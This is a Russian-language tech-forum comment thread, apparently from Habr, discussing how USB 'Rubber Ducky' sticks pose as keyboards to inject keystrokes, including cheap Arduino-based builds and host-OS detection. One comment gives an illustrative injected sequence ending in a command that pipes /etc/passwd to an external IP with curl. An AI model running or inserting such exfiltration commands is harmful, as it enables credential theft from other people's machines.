Как стать автором
Обновить

Комментарии 18

То есть схема атаки понятна:

<...>
3. На исполнение автоматически запускается скрипт, который представляет собой одну конкретную последовательность нажатий клавиш.

С этого места, пожалуйста, поподробнее: он запускается через autorun.inf или это магия "драйвера" "клавиатуры"?

скрипт не на хосте запускается, а на самой флешке. Скрипт просто посылает коды нажатия клавиш хосту

Это я все понимаю, не понимаю другого: почему он запускается? Каков механизм запуска исполняемого кода с устройства, идентифицирующего себя как боевой вертолет клавиатура?

Флешка представляется клавиатурой и отправляет набор клавиш на комп - Win+R → powershell.exe → Enter → <...>

Сам ПК при этом абсолютно уверен что к нему подключена клавиатура, на которой просто кто-то что-то набирает.

Скрипт сам исполняется флешкой, её встроенным процессинг юнитом.

А, там свои мозги, которые закипают запускаются по подаче питания... теперь понял, спасибо!

В любой флешке свои мозги, которые запускаются при подаче питания. Просто нормальные флешки представляются системе накопителем

Каков механизм запуска исполняемого кода с устройства, идентифицирующего себя как боевой вертолет клавиатура?

Когда вы подключаете клавиатуру и нажимаете физические кнопки происходит то же самое. Тут внутри флешки миниОС, которая получив питание имитирует контроллер клавиатру, который (условно) "нажимает" Win+R, пауза, powershell, пауза, cat /etc/passwd | curl https://54.32.2.56:8080/leakedpasswords, пауза, ctrl+w

может, потому что это и не флешка, и не клавиатура, а очень маленький компьютер? Как только он запитывается от 5V USB, грузит свою нехитрую ОС, анонсит себя как клаву хосту и шлёт в порт коды нажатия клавиш, согласно захардкоженному списку (скрипту)

флешкой это названо только из-за внешнего вида. технически это микроконтроллер, который может делать что угодно, в том числе прикинуться клавиатурой и сэмулировать нажатие клавиш. устройство, в которое это вставили не сможет отличить его от реальной клавиатуры

вариант для бедных (или прагматичных) - взять какую нить arduino pro mini (с atmega32u4), и самому упаковать ее в корпус флешки. эмуляция клавиатуры есть в примерах ардуины. бюджет - менее 5 долларов.

Pro micro. Хотя совсем отбитые и на attiny с v-usb (digispark, к примеру) сваяют. Или ещё можно взять китайский usbasp/usbisp и перешить. Он сразу в нужном корпусе и стоит даже дешевле ардуины.

Всё это почему-то всё больше и больше напоминает сеттинг Вархаммер 40к, где тоже нельзя было просто так включать найденную флешку технологию, потому что в ней могли содержаться вирусы, и только специалисты по информационной безопасности техножрецы могли с помощью магии ритуалов постараться минимизировать возможный ущерб. Но для большей надёжности старались либо уничтожить, либо не трогать вообще.

А как эта штука определяет ОС?

https://patents.google.com/patent/US20120054372 например? Особенности инициализации отличаются от ядра к ядру

Например, новая Ducky может определить версию операционной системы (Windows или Mac), выполнить соответствующий код для каждой системы или отключиться, если цель не соответствует условиям.

Каким образом это возможно? Компьютер разве передаёт какую-либо информацию клавиатуре?

Как минимум - передаётся состояние "лампочек"

Ну значит если очень любопытно, подключать её с поднятой виртуальной машиной, уже на этом этапе будет понятно, флешка ли это. Ну и посмотреть её содержимое в виртуалке. Наверно лучше, чтобы она ещё и флешку из себя изображала, с интересным содержимым, чтобы отвлечь от дальнейшей безопасности.

Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.